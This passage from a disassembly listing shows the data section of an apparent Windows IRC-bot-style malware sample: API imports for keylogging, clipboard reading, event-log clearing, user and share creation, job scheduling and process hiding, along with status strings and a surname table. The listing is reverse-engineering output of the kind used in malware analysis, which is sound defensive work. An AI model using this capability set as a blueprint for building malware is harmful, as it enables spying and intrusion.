'SQLDisconnect',0 ; DATA XREF: sub_409B12+C15o align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409B12+C08o align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409B12+BFBo align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409B12+BEEo align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409B12+BE1o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409B12+BD9o align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409B12:loc_40A6DEo align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409B12+B97o align 4 aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409B12+B8Fo align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409B12:loc_40A694o aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B12+B3Do align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B12+B30o align 10h aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B12+B23o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B12+B1Bo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409B12:loc_40A620o aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B12+AD9o align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409B12+AD1o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409B12:loc_40A5D6o align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B12+A8Fo align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B12+A87o align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409B12:loc_40A58Co align 4 aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409B12+9F9o aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B12+9ECo ; sub_4185A4+65o align 10h aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409B12+9DFo align 10h aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409B12+9D2o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409B12+9C5o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409B12+9B8o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409B12+9ABo align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409B12+99Eo align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B12+991o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409B12+984o align 4 aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409B12+977o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409B12+96Fo aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409B12:loc_40A470o ; sub_4185A4+58o align 4 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409B12+921o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409B12+914o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409B12+90Co align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409B12:loc_40A411o align 10h aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B12+8D2o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409B12+860o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409B12+853o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B12+846o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B12+839o align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409B12+82Co align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409B12+81Fo align 10h aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409B12+812o align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B12+805o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B12+7F8o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B12+7F0o align 10h aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409B12:loc_40A2F1o aClosesocket db 'closesocket',0 ; DATA XREF: sub_409B12+6A6o aGetpeername db 'getpeername',0 ; DATA XREF: sub_409B12+699o aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409B12+68Co align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409B12+67Fo align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_409B12+672o aGetsockname db 'getsockname',0 ; DATA XREF: sub_409B12+665o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409B12+658o align 4 aAccept db 'accept',0 ; DATA XREF: sub_409B12+64Bo align 10h aListen db 'listen',0 ; DATA XREF: sub_409B12+63Eo align 4 aSelect db 'select',0 ; DATA XREF: sub_409B12+631o align 10h aBind db 'bind',0 ; DATA XREF: sub_409B12+629o align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409B12+617o align 4 aRecv db 'recv',0 ; DATA XREF: sub_409B12+60Ao align 4 aSendto db 'sendto',0 ; DATA XREF: sub_409B12+5FDo align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_409B12+5E3o align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_409B12+5D6o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_409B12+5C9o align 4 aHtons db 'htons',0 ; DATA XREF: sub_409B12+5BCo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409B12+5AFo align 10h aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409B12+5A2o align 4 aConnect db 'connect',0 ; DATA XREF: sub_409B12+595o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409B12+588o aSocket db 'socket',0 ; DATA XREF: sub_409B12+57Bo align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409B12+56Eo align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409B12+561o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409B12+554o align 10h a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409B12+547o align 10h aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409B12+53Ao align 10h aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409B12+52Do align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409B12+525o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409B12+514o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409B12+4A1o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409B12+494o align 10h aBitblt db 'BitBlt',0 ; DATA XREF: sub_409B12+487o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409B12+47Ao align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409B12+46Do align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409B12+460o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B12+453o align 10h aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409B12+446o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409B12+43Eo align 10h aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409B12:loc_409F3Fo align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409B12:loc_409F17o align 4 aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B12+3ADo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B12+3A0o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409B12+393o align 10h aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409B12+386o align 10h aControlservice db 'ControlService',0 ; DATA XREF: sub_409B12+379o align 10h aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409B12+36Co align 10h aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409B12+35Fo align 10h aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409B12:loc_409E69o align 10h aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B12+327o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B12+31Ao align 10h aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409B12:loc_409E24o align 4 aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409B12+2C6o align 4 aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409B12+2B9o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409B12+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409B12+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409B12+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409B12+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409B12+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409B12+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409B12:loc_409D71o align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409B12+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409B12+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409B12+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B12:loc_409D0Ao align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409B12+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409B12+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409B12+186o align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409B12+179o align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409B12+16Co align 4 aIswindow db 'IsWindow',0 ; DATA XREF: sub_409B12+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409B12+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409B12+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409B12:loc_409C47o ; sub_424D78+Do align 10h aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B12:loc_409C1Ao align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B12+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B12+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409B12+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409B12+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B12+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B12+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_409B12+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409B12+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_409B12+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B12+2Bo align 10h aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409B12+23o align 10h aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409B12+Ao align 10h unk_42D330 db 2Dh ; - ; DATA XREF: sub_40A7CE+2F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aDllTestComplet db 'DLL test complete.',0 align 10h aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+2CCo align 4 aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+264o align 10h aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+230o align 4 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+194o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+160o align 10h aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+12Co align 4 aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+C4o align 4 aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+90o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+28o align 4 a_: ; DATA XREF: sub_40F96A+252o unicode 0, <.>,0 unk_42D4C0 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40ABF0o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aNotSupportedBy db 'not supported by this system',0 align 10h unk_42D4F0 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40ABBEo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aUnableToAlloca db 'unable to allocate ARP cache',0 align 10h unk_42D520 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40AB8Ao db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheIsEmpt db 'ARP cache is empty',0 align 4 unk_42D544 db 2Dh ; - ; DATA XREF: sub_40AB31+49o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGettingAr db 'error getting ARP cache: %d',0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AC0F+46o ; sub_40BFEB+38o align 10h aReal db 'real',0 align 4 dd 0 dword_42D58C dd 0 ; DATA XREF: sub_40B08D+7o off_42D590 dd offset sub_40ACB5 ; DATA XREF: sub_40B08D+49r aConst db 'const',0 align 10h dd 1, 40AD22h, 7474656Ch, 7265h, 0 dd 2, 40AD80h, 706D6F63h, 2 dup(0) dd 3, 40ADCDh, 6E756F63h, 797274h, 0 dd 4, 40AE6Bh, 736Fh, 2 dup(0) dd 5, 40AEE0h off_42D5F8 dd offset aAbdulrazak ; DATA XREF: sub_40ACB5+21r ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" off_42D604 dd offset aAddison ; DATA XREF: sub_40B08D+39o ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz ; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; "Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" dd offset aBedford ; "Bedford" dd offset aBehenna ; "Behenna" dd offset aBelanger ; "Belanger" dd offset aBelaoussof ; "Belaoussof" dd offset aBelfer ; "Belfer" dd offset aBelinCollart ; "Belin-Collart" dd offset aBellavance ; "Bellavance" dd offset aBellhouse ; "Bellhouse" dd offset aBellini ; "Bellini" dd offset aBelloc ; "Belloc" dd offset aBenedictDye ; "Benedict-Dye" dd offset aBergson ; "Bergson" dd offset aBerkeJenkins ; "Berke-Jenkins" dd offset aBernardo ; "Bernardo" dd offset aBernassola ; "Bernassola" dd offset aBernston ; "Bernston" dd offset aBerrizbeitia ; "Berrizbeitia" dd offset aBetti ; "Betti" dd offset aBeynart ; "Beynart" dd offset aBiagioli ; "Biagioli" dd offset aBickel ; "Bickel" dd offset aBinion ; "Binion" dd offset aBir ; "Bir" dd offset aBisema ; "Bisema" dd offset aBisho ; "Bisho" dd offset aBlackbourn ; "Blackbourn" dd offset aBlackwell ; "Blackwell" dd offset aBlagg ; "Blagg" dd offset aBlakemore ; "Blakemore" dd offset aBlanke ; "Blanke" dd offset aBliss ; "Bliss" dd offset aBlizard ; "Blizard" dd offset aBloch ; "Bloch" dd offset aBloembergen ; "Bloembergen" dd offset aBloemhof ; "Bloemhof" dd offset aBloxham ; "Bloxham" dd offset aBlyth ; "Blyth" dd offset aBolger ; "Bolger" dd offset aBolick ; "Bolick" dd offset aBollinger ; "Bollinger" dd offset aBologna ; "Bologna" dd offset aBoner ; "Boner" dd offset aBonham ; "Bonham" dd offset aBoniface ; "Boniface" dd offset aBontempo ; "Bontempo" dd offset aBook ; "Book" dd offset aBookbinder ; "Bookbinder" dd offset aBoone ; "Boone" dd offset aBoorstin ; "Boorstin" dd offset aBorack ; "Borack" dd offset aBorden ; "Borden" dd offset aBossi ; "Bossi" dd offset aBothman ; "Bothman" dd offset aBotosh ; "Botosh" dd offset aBoudin ; "Boudin" dd offset aBoudrot ; "Boudrot" dd offset aBourneuf ; "Bourneuf" dd offset aBowers ; "Bowers" dd offset aBoxer ; "Boxer" dd offset aBoyajian ; "Boyajian" dd offset aBoyes ; "Boyes" dd offset aBoyland ; "Boyland" dd offset aBoym ; "Boym" dd offset aBoyne ; "Boyne" dd offset aBracalente ; "Bracalente" dd offset aBradac ; "Bradac" dd offset aBradach ; "Bradach" dd offset aBrecht ; "Brecht" dd offset aBreed ; "Breed" dd offset aBrenan ; "Brenan" dd offset aBrennan ; "Brennan" dd offset aBrewer ; "Brewer" dd offset aBrewer ; "Brewer" dd offset aBridgeman ; "Bridgeman" dd offset aBridges ; "Bridges" dd offset aBrinton ; "Brinton" dd offset aBritz ; "Britz" dd offset aBroca ; "Broca" dd offset aBrook ; "Brook" dd offset aBrzycki ; "Brzycki" dd offset aBuchan ; "Buchan" dd offset aBudding ; "Budding" dd offset aBullard ; "Bullard" dd offset aBunton ; "Bunton" dd offset aBurden ; "Burden" dd offset aBurdzy ; "Burdzy" dd offset aBurke ; "Burke" dd offset aBurridge ; "Burridge" dd offset aBusetta ; "Busetta" dd offset aByatt ; "Byatt" dd offset aByerly ; "Byerly" dd offset aByrd ; "Byrd" dd offset aCage ; "Cage" dd offset aCalnan ; "Calnan" dd offset aCammelli ; "Cammelli" dd offset aCammilleri ; "Cammilleri" dd offset aCanley ; "Canley" dd offset aCapanni ; "Capanni" dd offset aCaperton ; "Caperton" dd offset aCapocaccia ; "Capocaccia" dd offset aCapodilupo ; "Capodilupo" dd offset aCappuccio ; "Cappuccio" dd offset aCapursi ; "Capursi" dd offset aCaratozzolo ; "Caratozzolo" dd offset aCarayannopoulo ; "Carayannopoulos" dd offset aCarlin ; "Carlin" dd offset aCarlos ; "Carlos" dd offset aCarlyle ; "Carlyle" dd offset aCarmichael ; "Carmichael" dd offset aCaroti ; "Caroti" dd offset aCarper ; "Carper" dd offset aCartmill ; "Cartmill" dd offset aCascio ; "Cascio" dd offset aCase ; "Case" dd offset aCaspar ; "Caspar" dd offset aCastelda ; "Castelda" dd offset aCavanagh ; "Cavanagh" dd offset aCavell ; "Cavell" dd offset aCeniceros ; "Ceniceros" dd offset aCerioli ; "Cerioli" dd offset aChapman ; "Chapman" dd offset aCharles ; "Charles" dd offset aCheang ; "Cheang" dd offset aCherry ; "Cherry" dd offset aChervinsky ; "Chervinsky" dd offset aChiassino ; "Chiassino" dd offset aChien ; "Chien" dd offset aChildress ; "Childress" dd offset aChilds ; "Childs" dd offset aChinipardaz ; "Chinipardaz" dd offset aChinman ; "Chinman" dd offset aChristenson ; "Christenson" dd offset aChristian ; "Christian" dd offset aChristiano ; "Christiano" dd offset aChristie ; "Christie" dd offset aChristopher ; "Christopher" dd offset aChu ; "Chu" dd offset aChupasko ; "Chupasko" dd offset aChurch ; "Church" dd offset aCiampaglia ; "Ciampaglia" dd offset aCicero ; "Cicero" dd offset aCifarelli ; "Cifarelli" dd offset aClaffey ; "Claffey" dd offset aClancy ; "Clancy" dd offset aClark ; "Clark" dd offset aClement ; "Clement" dd offset aClifton ; "Clifton" dd offset aClow ; "Clow" dd offset aCoblenz ; "Coblenz" dd offset aCoito ; "Coito" dd offset aColdren ; "Coldren" dd offset aColella ; "Colella" dd offset aCollard ; "Collard" dd offset aCollis ; "Collis" dd offset aCompton ; "Compton" dd offset aCompton ; "Compton" dd offset aComstock ; "Comstock" dd offset aConcino ; "Concino" dd offset aCondodina ; "Condodina" dd offset aConnors ; "Connors" dd offset aCorey ; "Corey" dd offset aCornish ; "Cornish" dd offset aCosmides ; "Cosmides" dd offset aCounter ; "Counter" dd offset aCoutaux ; "Coutaux" dd offset aCrawford ; "Crawford" dd offset aCrocker ; "Crocker" dd offset aCroshaw ; "Croshaw" dd offset aCroxen ; "Croxen" dd offset aCroxton ; "Croxton" dd offset aCui ; "Cui" dd offset aCurrier ; "Currier" dd offset aCutler ; "Cutler" dd offset aCvek ; "Cvek" dd offset aCyders ; "Cyders" dd offset aDasilva ; "daSilva" dd offset aDaldalian ; "Daldalian" dd offset aDaly ; "Daly" dd offset aDAmbra ; "D'Ambra" dd offset aDanieli ; "Danieli" dd offset aDante ; "Dante" dd offset aDapice ; "Dapice" dd offset aDArcangelo ; "D'arcangelo" dd offset aDas ; "Das" dd offset aDasgupta ; "Dasgupta" dd offset aDaskalu ; "Daskalu" dd offset aDavid ; "David" dd offset aDawkins ; "Dawkins" dd offset aDegennaro ; "DeGennaro" dd offset aDelapena ; "DeLaPena" dd offset aDelEnclos ; "del'Enclos" dd offset aDerousse ; "deRousse" dd offset aDebroff ; "Debroff" dd offset aDees ; "Dees" dd offset aDefeciani ; "Defeciani" dd offset aDelattre ; "Delattre" dd offset aDeleonRendon ; "Deleon-Rendon" dd offset aDelger ; "Delger" dd offset aDellAcqua ; "Dell'acqua" dd offset aDeming ; "Deming" dd offset aDempster ; "Dempster" dd offset aDemusz ; "Demusz" dd offset aDenault ; "Denault" dd offset aDenham ; "Denham" dd offset aDenison ; "Denison" dd offset aDesombre ; "Desombre" dd offset aDeutsch ; "Deutsch" dd offset aDFini ; "D'fini" dd offset aDicks ; "Dicks" dd offset aDiefenbach ; "Diefenbach" dd offset aDifabio ; "Difabio" dd offset aDifronzo ; "Difronzo" dd offset aDilworth ; "Dilworth" dd offset aDionysius ; "Dionysius" dd offset aDirksen ; "Dirksen" dd offset aDockery ; "Dockery" dd offset aDoherty ; "Doherty" dd offset aDonahue ; "Donahue" dd offset aDonner ; "Donner" dd offset aDoonan ; "Doonan" dd offset aDore ; "Dore" dd offset aDorf ; "Dorf" dd offset aDosi ; "Dosi" dd offset aDoty ; "Doty" dd offset aDoug ; "Doug" dd offset aDowsland ; "Dowsland" dd offset aDrinker ; "Drinker" dd offset aDSouza ; "D'souza" dd offset aDuffin ; "Duffin" dd offset aDurrett ; "Durrett" dd offset aDussault ; "Dussault" dd offset aDwyer ; "Dwyer" dd offset aEardley ; "Eardley" dd offset aEbeling ; "Ebeling" dd offset aEckel ; "Eckel" dd offset aEdley ; "Edley" dd offset aEdner ; "Edner" dd offset aEdward ; "Edward" dd offset aEickenhorst ; "Eickenhorst" dd offset aEliasson ; "Eliasson" dd offset aElmendorf ; "Elmendorf" dd offset aElmerick ; "Elmerick" dd offset aElvis ; "Elvis" dd offset aEncinas ; "Encinas" dd offset aEnyeart ; "Enyeart" dd offset aEppling ; "Eppling" dd offset aErbach ; "Erbach" dd offset aErdman ; "Erdman" dd offset aErdos ; "Erdos" dd offset aErez ; "Erez" dd offset aEspinoza ; "Espinoza" dd offset aEstes ; "Estes" dd offset aEtter ; "Etter" dd offset aEuripides ; "Euripides" dd offset aEverett ; "Everett" dd offset aFabbris ; "Fabbris" dd offset aFagan ; "Fagan" dd offset aFaioes ; "Faioes" dd offset aFalcoAcosta ; "Falco-Acosta" dd offset aFalorsi ; "Falorsi" dd offset aFaris ; "Faris" dd offset aFarone ; "Farone" dd offset aFarren ; "Farren" dd offset aFasso ; "Fasso'" dd offset aFates ; "Fates" dd offset aFeigenbaum ; "Feigenbaum" dd offset aFejzo ; "Fejzo" dd offset aFeldman ; "Feldman" dd offset aFernald ; "Fernald" dd offset aFernandes ; "Fernandes" dd offset aFerrante ; "Ferrante" dd offset aFerriell ; "Ferriell" dd offset aFeuer ; "Feuer" dd offset aFido ; "Fido" dd offset aField ; "Field" dd offset aFink ; "Fink" dd offset aFinkelstein ; "Finkelstein" dd offset aFinnegan ; "Finnegan" dd offset aFiorina ; "Fiorina" dd offset aFisk ; "Fisk" dd offset aFitzmaurice ; "Fitzmaurice" dd offset aFlier ; "Flier" dd offset aFlores ; "Flores" dd offset aFolks ; "Folks" dd offset aForester ; "Forester" dd offset aFortes ; "Fortes" dd offset aFortier ; "Fortier" dd offset aFossey ; "Fossey" dd offset aFossi ; "Fossi" dd offset aFrancisco ; "Francisco" dd offset aFranklinKenea ; "Franklin-Kenea" dd offset aFranz ; "Franz" dd offset aFrazierDavis ; "Frazier-Davis" dd offset aFreid ; "Freid" dd offset aFreundlich ; "Freundlich" dd offset aFried ; "Fried" dd offset aFriedland ; "Friedland" dd offset aFrisken ; "Frisken" dd offset aFrowiss ; "Frowiss" dd offset aFryberger ; "Fryberger" dd offset aFrye ; "Frye" dd offset aFujiiAbe ; "Fujii-Abe" dd offset aFuller ; "Fuller" dd offset aFurth ; "Furth" dd offset aFusaro ; "Fusaro" dd offset aGabrielli ; "Gabrielli" dd offset aGaggiotti ; "Gaggiotti" dd offset aGaleotti ; "Galeotti" dd offset aGalwey ; "Galwey" dd offset aGambini ; "Gambini" dd offset aGarfield ; "Garfield" dd offset aGarman ; "Garman" dd offset aGaronna ; "Garonna" dd offset aGeller ; "Geller" dd offset aGemberling ; "Gemberling" dd offset aGeorgi ; "Georgi" dd offset aGerrett ; "Gerrett" dd offset aGhorai ; "Ghorai" dd offset aGibbens ; "Gibbens" dd offset aGibson ; "Gibson" dd offset aGilbert ; "Gilbert" dd offset aGili ; "Gili" dd offset aGill ; "Gill" dd offset aGillispie ; "Gillispie" dd offset aGist ; "Gist" dd offset aGleason ; "Gleason" dd offset aGlegg ; "Glegg" dd offset aGlendon ; "Glendon" dd offset aGoldfarb ; "Goldfarb" dd offset aGoncalves ; "Goncalves" dd offset aGood ; "Good" dd offset aGoodearl ; "Goodearl" dd offset aGoody ; 